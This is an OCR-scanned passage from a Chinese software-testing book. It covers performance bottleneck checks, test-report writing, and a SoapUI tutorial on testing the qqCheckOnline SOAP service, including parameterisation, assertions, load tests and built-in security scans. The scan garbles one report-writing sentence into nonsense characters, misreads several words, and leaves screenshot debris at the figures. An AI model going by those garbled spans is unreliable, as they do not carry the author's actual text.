(2) Web Server 层 。 这 里 以 Apache 为 例 ,基本 的 性 能 排查 点 包括 但 不 
限于 以 下 几 点 。 

。 Apache MPM 工作 模式 。 不 同 工 作 模式 下 的 特点 不 一 样 , 需 要 根据 

实际 情况 选取 。 

。 Apache 不 同 MPM 工作 模式 下 的 关键 参数 调 优 。 比 如 ,Prefork 工 

作 模 式 下 的 MaxClients 参数 。 

。 Apache 基本 参数 的 调 优 。 比 如 ,Timeout KeepAlive 等 参数 。 

。 部 署 架 构 。 比 如 ,单个 Apache 还 是 Apache 和 Tomcat 的 负载 均衡 

集群 。 

(3) DB Server 层 。 这 里 以 MySQL 为 例 ,基本 的 性 能 排查 点 包括 但 不 
限于 以 下 几 点 。 

。 MySQL 版 本 。 不 同 的 MySQL 版 本 会 存在 一 定 差异 。 

。 MySQL 基本 参数 。 比 如 , max_connections、innodb_buffer_pool_ 

size 等 参数 。 

。 MySQL 部 署 架 构 。 比 如 ,是 单 库 还 是 主 从 分 离 ,或 是 进行 了 

Sharding 等 。 

。 SQL 语句 。 比 如 , 慢 查询 。 

(4) OS 层 。 不 论 是 身 处 哪 一 层 , 它 们 有 一 个 公共 的 特性 , 即 都 在 硬件 服 
务 器 上 和 运行。 那么 ,如 果 本 身 硬件 服务 器 产生 瓶颈 的 话 也 会 对 它们 造成 一 
定 的 影响 。 这 里 基本 的 性 能 排查 点 包括 但 不 限于 以 下 几 点 。 

。 CPU Memory IO 等 资源 占用 率 。 

。 硬件 本 身 的 提升 。 比 如 ,使 用 高 性 能 物理 机 代替 虚拟 机 ,SSD 硬盘 代 

替 普通 机 械 硬 盘 等 。 

。 OS 本 身 参 数 的 调 优 。 比 如 ,可 以 打开 的 最 大 文件 数 和 最 大 进程 数 等 。 

(5) 代码 层 。 最 后 就 是 我 们 写 的 业务 代码 了 。 不 良 的 代码 也 可 能 会 导 
致 性 能 问题 产生 。 比 如 ,在 Java 系统 中 ,没有 把 不 需要 的 对 象 进行 释 放 或 者 
进行 了 很 多 不 必要 的 同步 等 所 造成 的 内 存 泄漏 /溢出 以 及 线程 锁 。 

可 以 看 出 ,本 身 性 能 分 析 与 调 优 就 是 一 个 系统 化 的 工程 ,不 是 只 会 一 个 
LoadRunner 或 者 JMeter 就 可 以 完成 的 ,而 是 需要 一 个 较为 完整 的 知识 体系 
作为 后 盾 , 在 不 断 的 经 验 积累 中 进化 完成 ,这 个 思维 对 于 我 们 来 说 是 非常 重 
要 的 。 
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4.2 测试 报告 编写 技巧 


分 析 完 成 之 后 我 们 就 要 写 一 份 报告 了 。 在 这 个 互联 网 信息 极度 发 达 的 
时 代 , 我 们 已 经 习惯 了 “ 提 笔 忘 字 ”, 别 说 写 一 份 测试 报告 了 ,就 算是 只 写 两 
句 话 都 不 知 如 何 下 笔 。 可 见 ,信息 化 越 是 发 达 , 人 们 越 该 重视 对 写作 能 力 的 
培养 。 

写 一 份 漂亮 的 报告 还 是 比较 重要 的 ,关键 要 掌握 写 报告 的 核心 思路 ,我 
一 般 会 遵循 几 个 要 点 。 

(1) 结构 清晰 : 就 是 要 有 较 好 的 层次 感 , 这 样 看 起 来 才 不 会 乱 , 读 起 来 
才 容 易 理解 ,切记 不 可 过 于 混乱 。 

(2) 描述 简洁 : 不 要 写 过 多 的 废话 ,有 时 候 你 分 析 的 过 程 很 长 ,但 写 的 
总 导 可 以 车 当 站 必 及 ,不 和 元 并 地 宕 基 与 记 未 , 淮 有 恒 和 看 二 格 尖 长 的 
告 呢 ? 

(3) 图 文 混合 : 还 是 那 句 话 ,一 图 胜 千言 ,能 用 一 张 图 说 清楚 的 就 不 要 

一 段 话 。 

(4) 数据 对 比 : 最 有 力 的 报告 不 是 描述 得 天 花 乱 坠 ,也 不 是 多 么 文艺 ， 
而 是 有 数据 有 对 比 ,这 样 才 更 有 说 服 力 。 

了 解 了 写 一 份 优秀 报告 的 指导 原则 之 后 ,我 们 再 来 看 看 大 家 最 常 问 的 
问题 “报告 格式 怎么 写 ”"。 常 见 的 报告 格式 有 两 种 ,大 家 在 写 的 时 候 可 以 参 
考 一 下 。 

(1) 结论 先行 : 即 在 报告 的 开头 就 把 最 后 的 分 析 结 果 写 出 来 ,让 看 报告 
的 人 一 眼 就 能 看 到 ,不 需要 在 流水 式 地 一 个 个 往 下 看 了 。 

(2) 结论 后 行 : 顾名思义 就 是 结论 放 到 了 最 后 ,类 似 * 流 水 账 ”, 按 照 顺 
序 一 步 步 分 析 ,最 后 给 出 结论 。 

这 两 种 格式 没有 绝对 的 好 与 坏 , 根 据 实际 情况 选择 即 可 。 

除了 上 面 这 些 需 要 注意 的 事项 外 ,还 有 一 些 细节 也 值得 考虑 。 

(1) 针对 不 同 的 人 要 编写 不 同 的 测试 报告 。 

比如 ,给 领导 和 给 技术 人 员 看 的 报告 是 完全 不 同 的 ,他 们 的 关注 点 以 及 
专业 性 都 会 有 天 二 之 别 ,也 许 一 份 引 以 为 豪 的 报告 就 因为 给 错 了 对 象 而 被 
批 得 一 文 不 值 。 如 果 报 告 是 发 送 给 领导 的 ,那么 需要 尽量 地 避免 测试 术语 ， 
要 用 更 容易 理解 的 话 来 描述 。 报 告 要 简洁 有 力 ,不 要 做 过 多 无 用 的 描述 , 因 
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为 领导 没有 时 间 关 注 细节 ,他 们 更 在 乎 结论 。 如 果 报 告 是 发 送 给 技术 人 员 
的 ,那么 可 以 忽略 上 述 的 顾虑 ,可 以 站 在 专业 的 技术 角度 去 编写 ,体现 分 析 
过 程 、 细 节 、 解 决 方案 以 及 结论 。 

(2) 给 出 适当 的 解决 方案 。 

对 于 分 析出 来 的 问题 ,应 该 给 予 适当 的 解决 方案 ,可 能 有 的 朋友 会 觉得 
无 法 给 出 解决 方案 会 很 “难为 情 ”, 其 实 不 用 。 本 身 性 能 测试 就 是 一 个 庞大 
而 复杂 的 工程 ,不 是 一 个 人 就 可 以 完成 的 ,需要 各 个 人 员 的 配合 协助 ,每 个 
人 完成 自己 擅长 的 事情 。 而 且 对 于 测试 工程 师 来 说 这 个 过 程 更 加 有 意义 ， 
你 可 以 学 到 不 同 的 知识 ,得 到 不 同 问题 的 不 同 解决 方案 ,对 于 你 来 说 是 一 份 
宝贵 的 “财富 ”! 


4.3 本 章 小结 


本 章 从 性 能 测试 分 析 思 路 以 及 测试 报告 的 编写 两 个 方面 进行 了 系统 化 
的 讲解 ,我 相信 一 定 会 对 大 家 有 所 帮助 。 

性 能 测试 的 分 析 过 程 本 来 就 是 一 个 漫长 且 充 满 挑 战 的 过 程 ,除了 足够 
的 知识 储备 外 ,良好 的 心态 也 是 非常 重要 的 ,至 少 要 有 ”敢死队 ? 那 种 精神 。 
一 旦 分 析出 并 解决 掉 问 题 你 也 会 非常 有 成 就 感 ,这 也 是 学 习 的 动力 。 

对 于 性 能 测试 报告 的 编写 主要 是 考察 逻辑 表达 能 力 , 如 何 把 大 量 的 测 
试 信息 精简 .通俗 地 以 书面 形式 表达 出 来 是 非常 重要 的 。 在 书写 的 时 候 注 
意 本 童 所 讲 的 要 点 以 及 条 理性 , 写 完 之 后 自己 审核 一 遍 是 否 能 读 懂 。 反 正 ， 
写 报告 这 个 东西 多 少 还 得 有 点 套路 才 行 。 


SoapUl 脚 本 开发 实战 精 要 


本 章 0 SoapUI 如 何在 项 目 实战 中 应 用 。 由 于 SoapUI 本 身 的 学 习 
资料 少 之 又 少 ,所 以 本 章 将 尽 可 能 详细 地 讲解 ,但 可 能 不 会 讲述 太 多 基础 的 
ee 概念 和 操作 上 可 能 
会 有 点 “党 ”。 大 家 可 以 去 作者 的 博客 或 者 附录 中 的 参考 资料 里 提前 进行 学 
习 。 这 里 使 用 的 是 SoapUI 5.0 Pro 版 本 。 


5.1 SoapUI 介绍 


SoapUI 是 一 款 强大 的 接口 测试 工具 , 易 用 性 极 好 ,很 多 操作 可 以 通过 
界面 来 完成 ,这 也 是 它 受 到 很 多 人 喜欢 的 原因 之 一 。 另 外 它 自 带 Mock 服 
务 , 通 过 界面 的 操作 就 可 以 完成 ,大 大 降低 了 入 门 门槛 。SoapUI 的 版 本 分 
为 开源 版 和 Pro 版 ,其 中 Pro 版 就 是 商业 版 ,在 功能 上 会 比 开 源 版 强大 
很 多 。 

SoapUI 可 以 轻松 完成 SOAP 和 REST 的 WebService 测试 并 可 自动 生 
成 测试 报告 , 除 此 之 外 , 它 还 可 以 做 接口 级 的 压力 测试 和 安全 测试 。 尽 管 它 
如 此 强大 ,但 最 拿手 的 还 是 进行 SOAP WebService 接口 的 功能 自动 化 测试 ， 
而 本 章 内 容 也 将 主要 围绕 此 点 进行 。 更 多 SoapUI 的 介绍 可 以 看 官网 


https://www. soapui. org。 
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5.2 SOAP WebService 接口 功能 自动 化 测试 


先 来 了 解 下 什么 是 SOAP 协议 。 本 书 尽 可 能 地 把 教科 书 式 的 解释 弱 
化 ,而 是 用 更 加 通俗 易 懂 的 语言 来 解释 ,这 样 大 家 理解 起 来 会 更 容易 。 你 可 
以 简单 地 理解 为 SOAP 协议 是 基于 XML 的 一 个 简易 的 协议 ,如 果 用 一 句 话 
概况 那 就 是 : SOAP= HTTP 十 XML ,协议 中 必须 包括 Envelope、Body 等 
元 素 。 
此 处 我 们 以 qqCheckOnline 的 WebService 接口 为 例 进行 讲解 ,接口 的 
具体 信息 如 下 。 
。 接口 描述 : 获得 腾讯 QQ 在 线 状态 。 
。 人 参 : qqCode,String 类 型 。 默 认 QQ 号 码 : 8698053。 
。 出 参 : qqCheckOnlineResult,String 类 型 。 
返回 数据 代表 的 含义 为 : Y = 在 线 ; N = 离线 ; EE 二 QQ 号 码 错误 ; 
A 三 商业 用 户 验 证 失败 ; V 三 免费 用 户 超过 数量 。 
。 返回 格式 : 


HTTP/1. 1 200 OK 
Content - Type: text/xml; charset = utf—8 
Content - Length: length 


<?xml version= "1.0" encoding = "utf -8"?> 
< soap: Envelope xmlns: xsi = " http://www. w3. org/2001/XMLSchema — instance" 
xmlns:xsd = "http://www. w3. org/2001/XMLSchema" 
xmlns:soap = "http://schemas. xmlsoap. org/soap/envelope/"> 
< soap:Body> 
< qqCheckOnlineResponse xmlns = "http://WebXml. com. cn/"> 
< qqCheckOnlineResult > string </qqCheckOnlineResult > 
</qqCheckOnl ineResponse > 
</soap:Body> 


</soap:Envelope> 


了 解 了 接口 信息 之 后 我 们 来 看 看 如 何 完成 接口 用 例 脚 本 的 设计 ,大 致 
步骤 如 图 5. 1 所 示 。 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


了 
创建 SOAP Project 查看 报告 
h 
了 
添加 WSDL 地 址 运行 
下 
了 
运行 接 Clone TestCase 
保证 正确 编写 测试 用 例 
上 
1 
Generate 
TestSuite 优化 脚本 


图 5.1 接口 用 例 脚本 设计 步骤 
5.2.1 单 接口 的 测试 方法 


按照 图 5. 1 所 示 的 步 又 完成 初步 设置 后 ,脚本 结构 如 图 5. 2 所 示 , 这 是 
最 简单 的 脚本 状态 ,还 有 很 多 地 方 需要 优化 改进 ,下 面 我 们 就 分 别 讲解 常见 
的 优化 方法 。 注 意 : 后 续 的 操作 都 在 TestSuite 中 完成 。 


了 -加 SOAPDemo 

B- 1 qqOnlineWebServiceSoap 

日 -多 qqCheckOnline 
让 获得 跨 讯 QQ 在 线 状 态 
晶 - 图 qqOnlineWebServiceSoap TestS| 
白 - 园 qqCheckOnline TestCase 

BB- Test Steps (1) 

qqCheckOnline 
一 入 Load Tests (0) 
加 Security Tests (0) 


图 5.2 脚本 结构 


我 们 在 设计 测试 用 例 的 时 候 根据 接口 的 信息 ,可 能 需要 考虑 多 种 情况 ， 
包括 但 不 限于 正确 的 QQ 号 码 、 错 误 的 QQ 号 码 、 处 于 在 线 状态 的 QQ 号 码 
和 处 于 离线 状态 的 QQ 号 码 等 来 验证 各 种 情况 下 的 接口 的 正确 性 ,具体 的 
用 例 需 要 根据 具体 的 接口 信息 来 设计 。 此 处 我 们 只 以 正确 且 处 于 在 线 状态 
的 QQ 号 码 为 例 进行 讲解 。 
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1. 参数 化 


打开 TestSteps 下 的 qqCheckOnline 接口 ,如 图 5. 3 所 示 , 会 发 现 其 中 
的 qqCode 是 写 死 的 ,显然 这 个 不 是 我 们 希望 的 ,我 们 希望 这 里 是 “ 活 ” 的 。 


入座 加 口 [J [http://www.webxml.com.cn/webservices/qq 


加 ~ View Type:|All 
二 | 加 qqcheckonline 

站 qqCode: |242359785| 9| (xsd:string) 
号 

6 


图 5.3 qqCheckOnline 接口 


那 如 何 能 使 该 参数 变 “ 活 ” 呢 ? 这 时 候 就 要 利用 DataSource 这 个 强大 的 
功能 了 。 在 DataSource 中 可 以 通过 多 种 外 部 介质 来 实现 参数 化 ,比如 : 

。 File: 文本 文件 的 形式 。 

。 Excel: 最 好 使 用 2003 格式 的 Excel。 

。 Grid: 表格 形式 。 

。JDBC: JDBC 数据 源 ,就 是 从 数据 库 中 获取 。 

。 XML: XML 格式 。 

。 Groovy: Groovy 脚本 形式 。 

这 里 我 们 使 用 File 类 型 的 文本 文件 形式 进行 参数 EE 
化 ,大 致 实现 步骤 如 下 。 文件 ”编辑 (6) 格 

(1) 在 本 地 电脑 上 新 建 一 个 文本 文件 qq. txt, 并 在 文 。|2423597857 
件 中 输入 如 图 5.4 所 示 的 内 容 。 

(2) 新 建 一 个 DataSource, 填 入 相关 的 数据 信息 , 注 


图 5.4 qq. txt 
意 它 的 顺序 要 位 于 接口 之 前 ,如 图 5.5 所 示 。 


日- 恩 SOAPDemo 
日 - I qqOnlineWebServiceSoap 
自 年 ee 


风 a 
困 qqOnlineWebServiceSoap T | 
自 - 


[ os TestCase 


El 


加 Security Tests (0) 


加 


5.5 DataSource 
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部 分 字段 的 解释 如 下 。 

。 DataSource: 选择 外 部 的 存储 介质 

。 File: 选择 文件 的 路 径 。 

。 Properties: 把 从 外 部 存储 介质 中 获取 的 结果 保存 到 这 里 。 

。 其 余 的 字段 可 以 保持 默认 。 

(3) 切换 到 qdqCheckOnline 接口 ,把 之 前 写 死 的 qqCode 变 “ 活 ”。 只 需 
在 qqCode 参数 处 右 击 ,再 选择 Get Data 下 对 应 步骤 中 的 Property 即 可 ,如 
图 5.6 所 示 。 


Project: [SOAPDemo] » 
图 TestSuite: [qqOnlineWebSeviceSoap TestSuitel1111] » 
厂 TestCase: [qqCheckOnline TestCase] » 


Step 1: [DataSource ， 
x 
-| 大 step 2: [qqCheckOnline] » 


paste Cv 


Select Al Ctr-A 


图 5.6 Get Data 


(4) 增加 DataSource Loop ,完成 参数 化 的 遍历 ,如 果 不 添 加 这 个 则 永远 
取出 来 的 是 第 一 个 QQ 号 码 , 最 终 的 脚本 结构 如 图 5. 7 所 示 。 其 中 
DataSource Step 是 选择 的 源 数据 ,Target Step 是 选择 的 目标 步骤 。 

要 特别 注意 DataSource、qqCheckOnline、DataSource Loop 的 顺序 。 


田 qqOnlineWebServiceSoap Tests|| 访 醒 
自 - 轩 qqCheckOnline TestCase “| 加 | 9 oni ete pe 于 
BE Test Steps (3) 区 Configure DataSourceLoop 党 
- 人 Set options for this DataSourceLoop Step 
-= E 
~ @ Load Tests (0) 阳 DataSource Step: 


… 鸯 Security Tests (0) 


图 5.7 DataSource Loop 
2. 断言 (检查 点 ) 


既然 我 们 是 做 接口 的 功能 自动 化 , 那 一 定 会 对 返回 的 响应 数据 (出 参 ) 
进行 检查 ,只 有 符合 我 们 预期 结果 才能 认为 该 接口 通过 测试 ,要 完成 这 件 事 
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情 就 需要 用 到 断言 , 即 常 说 的 检查 点 ,大致 实现 步骤 如 下 。 
(1) 双击 TestSteps 中 的 接口 并 运行 ,在 响应 区 域 对 想 检查 的 内 容 添 加 
断言 ,右键 选择 Add Assertion~>for Content, 如 图 5.8 所 示 。 


© qqCheckOnline E 
qqCode: |${DataSource#qqCode} 日 | ecsd:stri 
for Count 
for Existence 
for Content matching RegEx 
for Existance with Script 
图 5.8 选择 断言 


(2) 在 弹出 的 XPath Expression 对 话 框 中 可 以 看 到 已 经 识别 出 要 检查 
的 内 容 就 是 qqCheckOnlineResult 对 应 的 值 Y, 直 接 单 击 Save 按钮 即 可 ,如 
图 5.9 所 示 。 


XPath Expression 
时 Declare 


declare namespace ns1='http://WebXmlcom.cn/ 
//nsl:qqCheckOnlineResponse[1]/nsl:qqCheckOnlineResult[1]/text0 


av 

Expected Result 

Select from current Test [DAllow Wildcards [Dlgnore namespace pre.. [DIg 
YY 


© Cancel) 
图 5.9 确认 断言 

(3) 最 终 完成 后 的 效果 如 图 5. 10 所 示 , 其 中 Assertions 表示 的 就 是 
断言 。 

在 SoapUI 中 有 多 种 形式 的 断言 ,可 谓 功能 十 分 强大 ,可 以 通过 单 击 
Add Assertion 按钮 来 查看 ,如 图 5. 11 所 示 。 

(1) Property Content 类 型 的 部 分 断言 解释 如 下 。 

。 Contains: 包含 。 在 本 节 内 容 “2. 断言 ”中 已 经 讲解 过 。 

。 Not Contains: 不 包含 。 比 如 ,在 返回 的 正确 结果 中 不 应 该 包含 什 
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>| 回 qqcheckonline 
qqCode: |${DataSource#qqCode} 


XA 
全 Match content of [qqCheckOnlineResult] - VALID 


BAssertions (1 
图 5.10 断言 效果 图 


CY Add Assertion 


Add Assertion 
Select the source property and whic} 


Assertions 


Compliance, Status and Standards 
Script 


图 5.11 断言 类 型 
么 ,就 可 以 用 该 断言 。 
。 XPath Match: 可 以 利用 XPath 表达 式 进行 断言 ,如果 断言 的 内 容 是 


变化 的 ,可 以 选中 Allow Wildcards, 利 用 通配符 来 匹配 ,如 图 5. 12 
所 示 。 
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Expected Result 
Select from current Test |[v] Allow Wildcardd 


图 5.12 Allow Wildcards 


(2) SLA 类 型 的 部 分 断言 解释 如 下 。 

Response SLA: 设置 该 断言 后 ,如 果 超 过 设 定时 间 仍 没有 收 到 返回 信 
息 ,就 表示 请 求 失败 了 。 默 认为 200ms, 如 果 超 过 这 个 数字 就 判定 为 失败 。 

(3) 其 他 的 断言 用 法 类 似 , 因 为 都 是 界面 操作 ,所 以 大 家 只 要 耐心 看 每 
个 断言 下 方 的 英文 解释 就 能 明白 是 干什么 的 了 。SoapUI 的 断言 里 还 有 一 个 
群 组 断言 的 概念 ,意思 就 是 可 以 设置 多 个 单个 断言 ,然后 把 这 些 断 言 组 成 一 
个 群 组 ,该 群 组 里 的 断言 都 通过 了 才 算 成 功 ,或 者 该 群 组 里 的 部 分 断言 通过 
了 就 算 成 功 , 这 些 都 可 以 自由 设 定 。 


3. 运行 与 报告 


完成 上 述 步 又 之 后 ,就 可 以 运行 本 用 例 脚 本 了 ,双击 TestCase, 在 弹出 
的 qqCheckOnline TestCase 对 话 框 中 单 击 “绿色 小 箭头 ” 即 可 ,如 图 5.13 所 
示 。 如 果 想 看 SoapUI 生成 的 测试 报告 , 单 击 “ 文 档 ” 形 状 的 图 标 即 可 ,测试 


总 DataSource 
国 qqCheckOnline 
口 闫 各 


人 @ Step 4 [qqCheckOnline] OK: took 162 ms 
人 @ Step 5 [DataSource Loop] OK: took 0 ms 


TestCase finished with status [FINISHED], time taken = 401 ' 


-> Current row = 2 


TestCase Log 


图 5.13 运行 TestCase 
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报告 样式 如 图 5. 14 所 示 。 


Home SoapUI Test Results 
Projects 


SOAPDemo TestSuite SOAPDemo.SOAPDemo.qqOnlineWebServiceSoap TestSuite11111 


SOAPDemo.gqaOnlineWebServiceSoap 1 
TestSuitel1111 


TestCases 


TestSuites 下 Success 


SOAPDemo 


.qa 
SOAPDemo.qqOnlinewebs Properties » 


图 5.14 测试 报告 


所 有 类 似 这 样 单 接口 的 测试 大 概 都 是 这 个 过 程 ,大 家 需要 根据 具体 的 
接口 信息 做 一 定 的 调整 ,但 整体 的 思路 和 方法 是 大 同 小 异 的 ,也 希望 大 家 在 
不 断 学 习 的 过 程 中 可 以 悟 到 “一 通 百 通 ”的 道理 ,这 样 即 使 你 只 有 2 年 的 工作 
经 验 也 可 能 会 超越 有 5 年 工作 经 验 的 朋友 。 


5.2.2 接口 依赖 的 测试 方法 


在 实际 的 应 用 中 我 们 经 常会 遇 到 这 样 一 种 情况 ,现在 有 两 个 接口 ,分 别 
是 接口 1 和 接口 2, 其 中 接口 2 的 入 参 要 用 到 接口 1 中 响应 数据 中 的 某 个 字 
段 (出 参 ) ,这 时 候 就 产生 了 接口 之 间 的 依赖 。 在 SoapUI 中 可 以 通过 非常 方 
便 的 操作 解决 这 个 问题 ,大 大 降低 了 实现 难度 。 

下 面 我 们 就 来 讲解 下 常见 的 两 种 解决 方案 。 


1. 在 TestSteps 中 进行 接口 之 间 的 数据 传递 


这 种 情况 处 理 起 来 非常 简单 ,为 了 方便 说 明 , 我 们 再 增加 一 
qqCheckOnline 的 step 并 命名 为 qqCheckOnline 2 ,然后 把 qqCheckOnline 的 
响应 数据 中 的 qqCheckOnlineResult 字段 作为 人 参 传递 给 qqCheckOnline 2, 大 
致 实现 步骤 如 下 。 

(1) 在 qqCheckOnline 2 的 人参 处 进行 如 图 5. 15 所 示 的 操作 , 即 把 
qqCheckOnline 响应 中 的 字段 传人 此 处 。 

(2) 在 弹出 的 Select XPath 对 话 框 中 选中 你 需要 的 响应 数据 ,这 里 需要 
的 就 是 检查 的 结果 Y, 单 击 ok 按钮 ,如 图 5. 16 所 示 。 
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a | GB 

Get Data.. 加 加 Project: [SOAPDemo] 

田 TestSuite: [qqOnlineWebServiceSoap TestSuite11111] 
厂 TestCase: [qqCheckOnline TestCase] 

时 Step 1: [DataSource] 


[BESPICEle | Property [RawRequest] 


国 step 4: [qqCheckOnline 2] Property [Domain] 


Property [Password] 


Copy 
Paste CHV 


Clear 


Property [Username] 
Select All Ctri-A = 


Property [Request] 
Property [Endpoint] 
Property [AuthType] 


图 5.15 选择 响应 数据 


Select XPath 
Select source xpath for property transfer 


日 "soap:Envelope 一 | 
Bsoap:Body 
BB-qqCheckOnlineRe... 


图 5.16 Select XPath 


这 样 就 完成 了 在 TestStep 之 间 的 接口 数据 的 传递 了 ,也 就 解决 了 接口 
的 依赖 。 如 果 运 行 ,会 提示 你 Fail, 原 因 就 是 我 们 从 qqCheckOnline 中 获取 
的 响应 是 了, 传人 qqCheckOnline 2 中 后 不 符合 QQ 号 码 的 要 求 ,自然 就 返 
回 错误 了 。 


2. 在 TestCase 中 进行 接口 之 间 的 数据 传递 


要 解决 这 个 问题 , 比 在 TestStep 中 稍微 复杂 一 点 ,核心 的 思想 就 是 : 利 
用 TestSuite 中 的 Properties 是 可 以 共享 的 这 个 特性 来 完成 。 更 加 通俗 点 说 
就 是 找 了 一 个 可 以 全 局 共享 的 中间人”, 让 它 来 帮助 我 们 做 数据 的 传递 ,大 
致 实现 步骤 如 下 。 

(1) 为 了 方便 讲解 ,增加 一 个 TestCase 并 命名 为 qdqCheckOnline 
TestCase 2, 如 图 5.17 所 示 。 
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0 大 话 软 件 测试 


自 - 田 qqOnlineWebServiceSoap TestS| 
日 - 畏 qqCheckOnline TestCase 
° BB- Test Steps (4) 


一 团 qqCheckOnline 

一 铝 DataSource Loop 
| 国 qqCheckOnline 2 
一 @ Load Tests (0) 

… 岗 Security Tests (0) 
-三 qqCheckOnline TestCase 2 
B-$ Test Steps (1) 

国 qqCheckOnline 


. Security Tests (0) 


图 5.17 qqCheckOnline TestCase 2 


(2) 新 建 一 个 TestSuite 级 别 的 Properties, 如 图 5. 18 所 示 ,Value 留 空 
即 可 。 


"99ChecROnmne 
BB- 本 Test Steps (4) 

… 闻 DataSource 

一 轩 qqCheckOnline 

~… 稳 DataSource Loop 

一 者 qqCheckOnline 2 
~…@ Load Tests (0) 

网 Security Tests (0) 
日 -村 qqCheckOnline TestCase 2 
-本 Test Steps (1) 

国 qqCheckOnline 

一 夸 Load Tests (0) 
一 励 Security Tests (0) 


mm | 


[esom sropertes | 
TestSuite Properties 
[v4 0 


图 5.18 Custom Properties 


(3) 在 第 一 个 用 例 脚 本 中 新 建 一 个 Property Transfer 用 来 传递 数据 ， 
如 图 5.19 所 示 。 其 中 Source 代表 要 从 哪里 获取 数据 ,Target 代表 要 把 获取 
的 数据 存 到 哪里 。 根 据 之 前 的 思路 ,我 们 就 是 要 从 第 一 个 用 例 脚 本 中 的 接 
口 获取 数据 ,然后 存 到 TestSuite 中 的 Properties 里 。 
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NE 
rce; [ 国 qqgCheckOnline ”| Property: [Response | 


declare namespace ns1="http://WebXml.com.cn/’; 
//nsl:qqCheckOnlineResponse[1]/nsl:qqCheckOnlineResult[1] 


av| 


get | 田 qqOnlineWebserviceSs-. ] Property: [check_result ~ 


图 5. 19 Property Transfer 


(4) 在 第 二 个 用 例 脚本 中 的 接口 人 参 处 替换 即 可 ,如 图 5. 20 所 示 。 


1 & Tl 
图 Project: [SOAPDemo] 


19Code: 


Suite: [qqOnlineWebServiceSoap TestS' 
TestCase: [qqCheckOnline TestCase 2] 
， | 天 step 1 [qqCheckOnline] 


图 5.20 替换 参数 


以 上 讲解 ,基本 已 经 涵盖 了 在 实际 应 用 中 常见 的 情况 ,也 可 以 应 对 大 部 
分 的 接口 测试 ,不 过 具体 的 实现 还 需要 根据 接口 的 信息 做 灵活 的 调整 ,大 家 
在 学 习 的 时 候 不 要 过 分 死板 ,要 学 会 变通 ,这 样 学 习 才 能 有 效率 。 同 时 , 细 
心 的 朋友 会 发 现 ,我 们 每 次 在 解决 一 个 问题 的 时 候 并 不 是 急于 去 操作 ,而 是 
先 把 主要 的 思路 整理 好 ,然后 再 去 实践 ,不 然 就 会 像 没 头 苍蝇 到 处 乱 碰 ,这 
个 也 是 很 多 小 白 和 缺乏 经 验 的 朋友 都 需要 注意 的 地 方 。 


5.3 SOAP WebService 接口 负载 测试 


SoapUI 可 以 完成 简单 的 接口 负载 测试 ,虽然 这 个 并 不 是 它 的 强项 ,能够 
提供 的 数据 也 非常 有 限 ,但 是 使 用 起 来 还 是 很 方便 的 ,大 致 实现 步骤 如 下 。 

(1) 右 击 Load Tests ,选择 New TestLoad 。 

(2) 创建 完成 后 如 图 5. 21 所 示 。 部 分 字段 解释 如 下 。 

。 Limit 表示 负载 要 持续 的 时 间 。 
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。 Threads 表示 并 发 数 。 

。 Test Delay 表示 从 完成 一 次 用 例 后 到 开始 下 一 次 前 的 休息 时 ,单位 
是 毫秒 。 

。 Random 的 设置 代表 的 是 Test Delay 的 浮动 范围 ,如 果 设置 为 0.5， 
则 代表 Test Delay 在 “Test DelayX (1 一 0.5) 一 Test DelayX (1 十 0.5)” 
毫秒 之 间 ; 如 果 设 置 为 0, 则 表示 不 会 进行 浮动 。 


px 日 wn Limit: 
Threads [ 5 辣 Strategy [Simple TestDelay [1000| Random [ 0.5 
Test Step | min | max| | bps| err | rat | 加 
qqCheckOnline 0 0 0 0 0 0 0 0 0 ol 
TestCase: 0 0 0 0 0 0 0 0 0 0 


图 5.21 LoadTest 


(3) 运行 中 你 也 可 以 单 击 “ 折 线 图 ”按钮 切换 到 图 形 模式 ,结束 之 后 单 击 


“文档 ”按钮 即 可 生成 测试 报告 。 
SoapUI 在 负载 测试 中 也 可 以 设置 断言 , 单 击 LoadTest 弹出 框 下 方 切 
换 到 LoadTest Assertions 标签 ,然后 单 击 “添加 ”按钮 会 弹出 断言 的 设置 ,如 


图 5.22 所 示 。 


人 Select assertion type to add 


Step Average 
Step TPS 
Step Maximum 
Step Status 


图 5.22 断言 


负载 测试 中 的 断言 解释 如 下 。 

。 Max Errors: 当 Error 的 数量 超过 设 定 的 值 时 就 结束 测试 ,不 论 测 试 
时 间 是 否 结束 。 

。 Step Average: 可 以 用 于 对 任何 一 个 请 求 的 平均 响应 时 间 做 断言 。 

。 Step TPS : 可 以 用 于 对 任何 一 个 请 求 的 每 秒 处 理 的 事务 数 做 断言 。 
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。 Step Maximum: 如 果 超 过 设置 的 最 长 时 间 则 报错 。 

。 Step Status: 状态 码 断 言 。 

虽然 SoapUI 在 负载 测试 方面 确实 比 不 上 专业 的 工具 ,但 是 在 功能 测试 
完成 之 后 顺便 测试 性 能 也 比较 方便 。 


5.4 SOAP WebService 接口 安全 测试 


安全 测试 的 知识 不 在 本 书 的 范围 内 ,但 是 考虑 SoapUI 的 完整 性 ,还 是 
要 介绍 一 下 。 本 节 不 会 讲述 安全 方面 的 相关 知识 ,大 家 可 以 到 SoapUI 官网 
查看 帮助 文档 ,地 址 为 https://www. soapui. org/security-testing/security- 
scans. html。 

SoapUI 的 安全 测试 是 通过 对 被 测 接口 进行 内 置 的 安全 策略 遍历 攻击 来 
进行 的 。 也 就 是 说 ,SoapUI 内 置 了 一 些 安全 策略 和 测试 数据 ,然后 它 会 按照 
设 定 的 策略 把 测试 数据 注入 接口 中 进行 测试 ,最 后 给 出 测试 报告 。 

利用 SoapUI 进行 接口 安全 测试 的 大 致 实现 步骤 如 下 。 

(1) 在 任意 一 个 工程 下 的 SecurityTest 处 右 击 创建 SecurityTestl ,之 后 
选择 测试 策略 ,如 图 5. 23 所 示 。 

KY Create new Security test 要 要 要 本 = 


Create new Security test 
Select setup options for the new Security Test 


Name: SecurityTest 1 
Setup Options O Empty Test 
- no preconfigured security scans 
© Automatic 
[上 generates default set of security scal 
O Full control 
- select which security scans to set up 


加 Ei 


图 5.23 Create new Security test 


(109) 大 话 软件 测试 一 性 能 、 自 动 化 及 团队 管理 “7 


Setup Options 中 的 字段 解释 如 下 。 
。 Empty Test: 创建 一 个 空白 的 测试 策略 ,需要 手动 去 配置 安全 扫描 
策略 ,如 果 对 安全 测试 非常 熟悉 , 则 可 以 使 用 此 方法 ,否则 建议 不 要 


选择 。 
。 Automatic: 自动 使 用 内 置 的 一 些 默 认 的 安全 扫描 策略 。 此 选项 为 
推荐 。 


。 Full Control: 进行 更 加 全 面 、 细 致 的 安全 扫描 。 
